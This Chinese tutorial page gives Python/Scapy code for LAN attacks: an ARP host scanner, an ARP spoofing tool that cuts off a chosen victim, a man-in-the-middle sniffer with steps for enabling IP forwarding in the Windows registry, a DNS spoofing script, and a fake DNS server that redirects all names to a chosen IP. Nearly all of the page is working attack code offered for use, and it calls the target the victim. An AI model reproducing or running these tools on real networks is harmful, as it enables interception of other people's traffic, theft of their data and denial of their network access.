您现在的位置是:首页 > 编程语言学习 > 其他编程语言 > 文章正文 其他编程语言

Python ARP扫描与欺骗实现全程详解

2022-10-10 10:09:15 其他编程语言

简介ARP欺骗又称ARP毒化或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻...

ARP欺骗又称ARP毒化或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。

实现ARP扫描: 运用Scapy工具包,开发一款ARP扫描工具,扫描网段内所有的在线主机并显示其MAC地址。

  1. from scapy.all import * 
  2. from optparse import OptionParser 
  3. import threading 
  4. def parse_ip(targets): 
  5. _split = targets.split('-'
  6. first_ip = _split[0] 
  7. ip_split = first_ip.split('.'
  8. ipv4 = range(int(ip_split[3]),int(_split[1])+1) 
  9. addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ] 
  10. return addr 
  11. def arp_scan(address): 
  12. try
  13. ret = sr1(ARP(pdst=address),timeout=5,verbose=False) 
  14. if ret: 
  15. if ret.haslayer('ARP') and ret.fields['op'] == 2: 
  16. print('[+] IP地址: {} => MAC地址:{}'.format(ret.fields['psrc'],ret.fields['hwsrc'])) 
  17. except Exception: 
  18. exit(1) 
  19. def Banner(): 
  20. print("  _  ____  __"
  21. print(" | |   _   _/ ___|| |__   __ _ _ __| | __"
  22. print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /"
  23. print(" | |__| |_| |___) | | | | (_| | |  |   < "
  24. print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\"
  25. print("   |___/ \n"
  26. print("E-Mail: me@lyshark.com\n"
  27. if __name__ == "__main__"
  28. Banner() 
  29. parser = OptionParser() 
  30. parser.add_option("-a","--addr",dest="address",help="--> input 192.168.1.0-100"
  31. (options,args) = parser.parse_args() 
  32. if options.address: 
  33. addr_list = parse_ip(options.address) 
  34. for item in addr_list: 
  35. threads = [] 
  36. t = threading.Thread(target=arp_scan,args=(item,)) 
  37. threads.append(t) 
  38. t.start() 
  39. for item in threads: 
  40. item.join() 
  41. else
  42. parser.print_help() 

执行扫描如下:

实现ARP欺骗: 通过ARP协议扫描网络中在线主机,并能够指定IP地址断掉网络.

  1. from scapy.all import * 
  2. import argparse 
  3. import threading,time 
  4.  
  5. # 生成网段信息,例如输入: 192.168.1.1/20 生成`1-20`地址 
  6. def Parse_IP(targets): 
  7. _split = targets.split('/'
  8. first_ip = _split[0] 
  9. ip_split = first_ip.split('.'
  10. ipv4 = range(int(ip_split[3]),int(_split[1])+1) 
  11. addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ] 
  12. return addr 
  13.  
  14. # 通过ARP协议扫描局域网中在线的设备 
  15. def ARP_Scan(address): 
  16. try
  17. ret = sr1(ARP(pdst=address),timeout=5,verbose=False) 
  18. if ret: 
  19. if ret.haslayer('ARP') and ret.fields['op'] == 2: 
  20. print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc'])) 
  21. except Exception: 
  22. exit(1) 
  23. # 创建并发送有效载荷 
  24. def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP): 
  25. print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac,tgtIP)) 
  26. # 生成ARP数据包,伪造网关欺骗目标计算机 
  27. sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface) 
  28. # 生成ARP数据包,伪造目标计算机欺骗网关 
  29. sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface) 
  30. print("-------------------------------------------------------------------------"
  31. def Banner(): 
  32. print("  _  ____  __"
  33. print(" | |   _   _/ ___|| |__   __ _ _ __| | __"
  34. print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /"
  35. print(" | |__| |_| |___) | | | | (_| | |  |   < "
  36. print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\"
  37. print("   |___/ \n"
  38. print("E-Mail: me@lyshark.com\n"
  39. if __name__ == "__main__"
  40.     Banner() 
  41. parser = argparse.ArgumentParser() 
  42. parser.add_argument("-s","--scan",dest="scan",help="输入一个扫描网段"
  43. parser.add_argument("-i","--interface",dest="interface",help="输入接口名"
  44. parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址"
  45. parser.add_argument("-t","--target",dest="target",help="输入被害主机地址"
  46. args = parser.parse_args() 
  47. # 使用方式: main.py -s192.168.1.1/100 
  48. if args.scan: 
  49. addr_list = Parse_IP(args.scan) 
  50. for item in addr_list: 
  51. threads = [] 
  52. t = threading.Thread(target=ARP_Scan,args=(item,)) 
  53. threads.append(t) 
  54. t.start() 
  55. for item in threads: 
  56. item.join() 
  57. # 使用方式: main.py -i "Realtek PCIe GBE Family Controller" -g 192.168.1.1 -t 192.168.1.10 
  58. elif args.gateway and args.target and args.scan == None: 
  59. srcMac = get_if_hwaddr(args.interface) # 通过接口名称获取本机MAC地址 
  60. tgtMac = getmacbyip(args.target)   # 通过IP地址获取目标计算机的MAC地址 
  61. gatewayMac = getmacbyip(args.gateway)  # 指定本机网段的网关MAC地址 
  62. while True: 
  63. t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target)) 
  64. t.start() 
  65. t.join() 
  66. time.sleep(1) 
  67. else
  68. parser.print_help() 

开启转发功能,开始运行里面输入regedit打开注册表编辑器,在注册表定位下面注册表项。

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters

选择下面的项目:IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1

ARP数据嗅探: 利用欺骗实现的局域网嗅探工具Windows下需要开启Routing And RemoteAccess转发服务.


  1. import sys,os,threading 
  2. import argparse 
  3. from scapy.all import * 
  4. # 生成ARP数据包,伪造网关欺骗目标计算机 
  5. def createArp2Station(interface,target_ip,gateway_ip): 
  6. dst_Mac=str(getmacbyip(target_ip)) 
  7. self_Mac=str(get_if_hwaddr(interface)) 
  8. Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip) 
  9. try
  10. sendp(Ether_data,inter=2,iface=interface,loop=1) 
  11. except Exception as e: 
  12. print("目标ARP数据发送失败!"
  13. # 生成ARP数据包,伪造目标计算机欺骗网关 
  14. def createArp2Gateway(interface,target_ip,gateway_ip): 
  15. dst_Mac = getmacbyip(gateway_ip) 
  16. self_Mac = get_if_hwaddr(interface
  17. Ether_data = None 
  18. Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip) 
  19. try
  20. sendp(Ether_data, inter=2,iface=interface,loop=1) 
  21. except Exception as e: 
  22. print("网关ARP数据发送失败!"
  23. def Packet_CallBack(pkt): 
  24. if pkt.haslayer(IP): 
  25. if pkt.getlayer(IP).src != "127.0.0.1"
  26. ip_src = pkt.getlayer(IP).src 
  27. ip_dst = pkt.getlayer(IP).dst 
  28. print("源地址: {} ---> 目标地址: {}".format(ip_src,ip_dst)) 
  29. def Banner(): 
  30. print("  _  ____  __"
  31. print(" | |   _   _/ ___|| |__   __ _ _ __| | __"
  32. print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /"
  33. print(" | |__| |_| |___) | | | | (_| | |  |   < "
  34. print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\"
  35. print("   |___/ \n"
  36. print("E-Mail: me@lyshark.com\n"
  37. if __name__ == "__main__"
  38. # 使用方式: main.py -i "Realtek PCIe GBE Family Controller" -g 192.168.1.1 -t 192.168.1.10 
  39.     Banner() 
  40. parser = argparse.ArgumentParser() 
  41. parser.add_argument("-i","--interface",dest="interface",help="输入网卡名称"
  42. parser.add_argument("-t","--target_ip",dest="target_ip",help="输入目标主机IP"
  43. parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址"
  44. args = parser.parse_args() 
  45. if args.interface and args.target_ip and args.gateway: 
  46. try
  47. t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway)) 
  48. t1.setDaemon(True) 
  49. t1.start() 
  50. t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway)) 
  51. t2.setDaemon(True) 
  52. t2.start() 
  53. sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface
  54. except Exception: 
  55. sys.exit(1) 
  56. while True: 
  57. pass 
  58. else
  59. parser.print_help() 
  60. # http and ip.src_host==192.168.1.6 and http.request.method==GET and !(http.request.full_uri matches "http://.*\.jpg.*") 

实现DNS欺骗: 网上其他人的一种实现方法,代码如下,只不过我们只做了ARP骗,而在该欺骗基础上可以加强为DNS欺骗。

  1. import sys 
  2. import os 
  3. import threading 
  4. from scapy.all import * 
  5. from optparse import  OptionParser 
  6. #DNS欺骗函数 
  7. def DNS_Spoof(data): 
  8. if data.haslayer(DNS): 
  9. try
  10. #构造DNS AN数据 
  11. dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers) 
  12. #构造IP/UDP数据包 
  13. repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53) 
  14. #构造DNS数据包 
  15. repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an) 
  16. #攻击信息输出 
  17. print ('\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname) 
  18. #发送数据包 
  19. send(repdata) 
  20. except Exception: 
  21. sys.exit(1) 
  22. #DNS欺骗函数 
  23. def DNS_S(dns_ip,iface): 
  24. global jokers 
  25. jokers=dns_ip 
  26. print ("DNS欺骗开始!"
  27. sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface) 
  28. #ARP欺骗函数 
  29. def op(eths,mubiao_ip,Ps,gateway_ip): 
  30. ip=mubiao_ip 
  31. wifi=gateway_ip 
  32. #目标设备MAC地址 
  33. dst_Mac=str(getmacbyip(ip)) 
  34. #黑客设备mac地址 
  35. self_Mac=str(get_if_hwaddr(eths)) 
  36. #网关MAC地址 
  37. wifi_Mac=str(getmacbyip(wifi)) 
  38. #构造以太帧数据 
  39. Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip) 
  40. try
  41. #发送以太帧数据,sendp发送OSI模型中的二层数据 
  42. sendp(Ether_data,inter=2,iface=eths,loop=1) 
  43. except Exception as e: 
  44. print("目标ARP数据发送失败!"
  45. def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip): 
  46. ip=gateway_ip 
  47. dst=mubiao_ip 
  48. et = eths 
  49. #根据IP获取MAC 
  50. dst_Mac = getmacbyip(ip) 
  51. #根据网卡获取MAC 
  52. self_Mac = get_if_hwaddr(et) 
  53. Ether_data = None 
  54. if Ps=="1"
  55. #构造以太帧数据与ARP响应数据,ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应,实现双向的无法解析,ARP协议的op参数是状态,2为响应数据,1为请求数据 
  56. Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip) 
  57. #新线程,开始DNS欺骗 
  58. t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths)) 
  59. t3.setDaemon(True) 
  60. t3.start() 
  61. if Ps == "0"
  62. #构造以太帧数据与ARP响应数据,这里因为不需要DNS欺骗,所以不需要一个假的MAC地址,让双方通信设备正常访问即可 
  63. Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip) 
  64. if Ps!="1" and Ps!="0"
  65. print (Ps) 
  66. print (type(Ps)) 
  67. print ('-P 参数有误!'
  68. sys.exit(1) 
  69. try
  70. sendp(Ether_data, inter=2,iface=et,loop=1) 
  71. except Exception as e: 
  72. print("网关ARP数据发送失败!"
  73. def main(): 
  74. try
  75. eth= "Realtek PCIe GBE Family Controller" 
  76. mubiao="192.168.1.6" 
  77. gateway="192.168.1.1" 
  78. P="0" 
  79. dip="8.8.8.8" 
  80. t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway)) 
  81. t1.setDaemon(True) 
  82. t1.start() 
  83. t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip)) 
  84. t2.setDaemon(True) 
  85. t2.start() 
  86. except Exception as e: 
  87. print (e) 
  88. sys.exit(1) 
  89. while True: 
  90. pass 
  91. if __name__ == '__main__'
  92. main() 

DNS欺骗需要一个DNS解析服务器,这里从网上找到一个DNS解析服务器代码,可以快速解析。

  1. import socketserver,struct 
  2. class SinDNSQuery: 
  3. def __init__(self, data): 
  4. i = 1 
  5. self.name = '' 
  6. while True: 
  7. d = data[i] 
  8. if d == 0: 
  9. break
  10. if d < 32: 
  11. self.name = self.name + '.' 
  12. else
  13. self.name = self.name + chr(d) 
  14. i = i + 1 
  15. self.querybytes = data[0:i + 1] 
  16. (self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5]) 
  17. self.len = i + 5 
  18. def getbytes(self): 
  19. return self.querybytes + struct.pack('>HH', self.type, self.classify) 
  20. class SinDNSAnswer: 
  21. def __init__(self, ip): 
  22. self.name = 49164 
  23. self.type = 1 
  24. self.classify = 1 
  25. self.timetolive = 190 
  26. self.datalength = 4 
  27. self.ip = ip 
  28. def getbytes(self): 
  29. res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength) 
  30. s = self.ip.split('.'
  31. res = res + struct.pack('BBBB'int(s[0]), int(s[1]), int(s[2]), int(s[3])) 
  32. return res 
  33. class SinDNSFrame: 
  34. def __init__(self, data): 
  35. (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12]) 
  36. self.query = SinDNSQuery(data[12:]) 
  37. def getname(self): 
  38. return self.query.name 
  39. def setip(self, ip): 
  40. self.answer = SinDNSAnswer(ip) 
  41. self.answers = 1 
  42. self.flags = 33152 
  43. def getbytes(self): 
  44. res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition) 
  45. res = res + self.query.getbytes() 
  46. if self.answers != 0: 
  47. res = res + self.answer.getbytes() 
  48. return res 
  49. class SinDNSUDPHandler(socketserver.BaseRequestHandler): 
  50. def handle(self): 
  51. data = self.request[0].strip() 
  52. dns = SinDNSFrame(data) 
  53. socket = self.request[1] 
  54. namemap = SinDNSServer.namemap 
  55. if(dns.query.type==1): 
  56. name = dns.getname(); 
  57. if namemap.__contains__(name): 
  58. dns.setip(namemap[name]) 
  59. socket.sendto(dns.getbytes(), self.client_address) 
  60. elif namemap.__contains__('*'): 
  61. dns.setip(namemap['*']) 
  62. socket.sendto(dns.getbytes(), self.client_address) 
  63. else
  64. socket.sendto(data, self.client_address) 
  65. else
  66. socket.sendto(data, self.client_address) 
  67. class SinDNSServer: 
  68. def __init__(self, port=53): 
  69. SinDNSServer.namemap = {} 
  70. self.port = port 
  71. def addname(self, name, ip): 
  72. SinDNSServer.namemap[name] = ip 
  73. def start(self): 
  74. HOST, PORT = "0.0.0.0", self.port 
  75. server = socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler) 
  76. server.serve_forever() 
  77. if __name__ == "__main__"
  78. server = SinDNSServer() 
  79. server.addname('www.lyshark.com''192.168.1.1'
  80. server.addname('*''192.168.1.2'
  81. server.start() 

 

相关文章

站点信息